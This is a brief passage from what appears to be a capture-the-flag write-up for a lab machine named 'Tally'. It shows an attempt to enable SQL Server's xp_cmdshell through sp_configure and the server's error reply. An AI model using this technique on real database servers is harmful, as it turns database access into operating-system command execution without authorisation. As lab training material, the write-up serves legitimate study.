http://blog.nowherejezfoltodf4jiyl6r56jnzintap5vyjlia7fkirfsnfizflqd.onion/HTB/Hard/6.html
For more
information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.
1> So we're connected but component xp_cmdshell is turned off, so let's turn it on: 1> EXEC SP_CONFIGURE 'xp_cmdshell',1
2> reconfigure
3> go
Msg 15123, Level 16, State 1
Server 'TALLY', Procedure 'sp_configure', Line 62
The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.